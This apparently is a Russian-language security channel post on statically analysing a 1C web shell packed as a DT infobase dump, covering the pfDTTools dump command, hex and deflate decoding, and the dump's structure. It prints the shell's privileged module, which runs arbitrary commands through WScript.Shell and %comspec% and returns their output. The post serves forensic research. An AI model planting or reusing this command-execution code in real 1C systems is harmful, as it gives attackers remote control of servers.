TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #84 5.78K
Анализ 1C Shell в формате DT

Продолжаем говорить об утилитах для статического анализа 1С шеллов. Сегодня разберемся, как анализировать шелл в виде файла с расширением DT.

Файл в формате DT — это файл выгрузки информационной базы 1С. Имеет заголовок 1CIBDmpF2, где 2 – версия формата.


Это также бинарный формат, для которого доступно не так много инструментов, как для 1С-контейнеров. Делимся, на наш взгляд, самым полезным.

Как работает утилита pfDTTools

Эту утилиту разработал автор pfCFTools, который также написал статью о формате DT.

Она позволяет получить в текстовом формате содержимое дампа:
pfDTTools.exe -dump 1C-Shell.dt dump.txt


В dump.txt — скобочная запись 1С с описанием конфигурации и данных в виде:
{"CompatibilityMode",2},
{"CustomFlag","IndexCompatibility",0},
{"CustomFlag","UseMVCC",0},
{
"Folder","Config", {0, {CFG1}, {CFG2}, ..., {CFGN}}
},
{"Folder","ConfigSave", {0}},
{"Folder","Params", {0}},
{
"Folder","Files", {0, {FILE1}, {FILE2}, ..., {FILEN}}
},
{"Folder","DepotFiles", {0}},
{
"Users", {0, {USER1}, {USER2}, ..., {USERN}}
},
{
"DataBase", {...}
}


Формат dump.txt, полученный из 1C-Shell.dt

Файл содержит 1024 строки. Большинство данных представлено в виде hex-строк, например, CFG1-файл из "Folder", "Config":
{1,"457b7c51-a590-45aa-a80d-6f4fa4ea4665",1,636709669640000,1,636709669640000,1,0,1,165,1,
{
0,958f310ec2300c4577a45e22acb114274e9dcc9cc44ed3095109c454e5640c1c892b9016216624eb0df6f7fff6ebf15cd10e879536a0dfb9c1596729b272890812b3038a2220c94d30ce340b55a1718ccd9ad372b92de76a3ebbe67a37bf5e1f9bee8436f8ea128b025246a0ac23880a0385c8a88452bcdad0766df7d90f314763915d9aa79e5cb454209f3268e0008e250a93d69ad162fb4beedb70d86afff3cbeee1da1b
}
},


hex-строка — это сжатые deflate-данные:
{1,{4,{1,{0,0,48f8828c-5187-43bd-9e70-1f2c124c2c0f},"Заставка",{1,"ru","Заставка"},"",0,1,8eb4fad1-1fa6-403e-970f-2c12dbb43e23,3},4},0}


Декодировать можно, например, в Cyberchef, скопировав hex-строку и используя рецепт: from hex + raw inflate.

Иногда данные представлены без сжатия, поэтому raw inflate не нужен.

Какие еще данные содержатся в dump.txt

Большую часть занимают данные "DataBase". В них нет кода шелла, они содержат настройки внешнего вида контейнеров, например:

"DesktopCustomization/Такси/НастройкиОкна", "Kraud",1,"РабочийСтол/Такси/НастройкиОкна" и т.д.

В данных — 1С-контейнер.

Самое интересное располагается в "Folder","Config".

Код "ОбщийМодульПривилегированный":
Функция ВыполнитьКоманду(КоманднаяСтрока) Экспорт
WshShell = Новый COMОбъект("WScript.Shell");
ИмяВременногоФайла = ПолучитьИмяВременногоФайла("txt");
Запуск = "%comspec% /c " + КоманднаяСтрока + " > " + ИмяВременногоФайла;
WshShell.Run(Запуск, 0, Истина);
Текст = Новый ТекстовыйДокумент;
Текст.Прочитать(ИмяВременногоФайла, КодировкаТекста.OEM);
Возврат Текст.ПолучитьТекст();
КонецФункции


Здесь видим, что содержимое команд также записывается во временный txt-файл.

Этот модуль используется в коде основного модуля:
&НаСервере
Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка)
СисИнфо = ОбщийМодульПривилегированный.ПолучитьСистемнуюИнформацию();
Uname = СисИнфо.Uname;
User = СисИнфо.User;
ServerIP = СисИнфо.ServerIP;
ОчиститьТекстовыйДокумент();
СочетаниеКлавиш = """";
ОбщийМодульПривилегированный.НазначитьНестандартноеСочетаниеКлавиш(СочетаниеКлавиш, 13);
Команды.Найти(""КомандаВыполнить"").СочетаниеКлавиш = СочетаниеКлавиш;
КонецПроцедуры

В нем есть и другие функции: ПолучитьIPАдресКлиента, КомандаВыполнить, КомандаВыполнитьНаСервере и другие служебные.

В "Users" видно пользователя Kraud и еще одного (имеется только GUID):
1,0198C9EA-8ABB-4F2E-842D-16A6AB40338D,1,"Kraud",1,"Kraud",0,1,636631014780000,1,1,1,1,1,


Мы показали, что анализ дампа DT-файла вполне возможен без ПО 1С.
Да, он не такой удобный, но позволяет узнать подробности.

Надеемся, этот пост поможет исследователям, если они когда-нибудь столкнутся с 1С шеллами!
  • 🔥 12
  • 👍 10
  • ❤ 9
  • 🤗 1
  • 👾 1
More from @four_rays
  1. Sep 23, 2026💣 Click2Shell Click2Shell — это цепочка уязвимостей в WordPress, которая может привести к…
  2. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  3. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  4. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  5. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  6. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →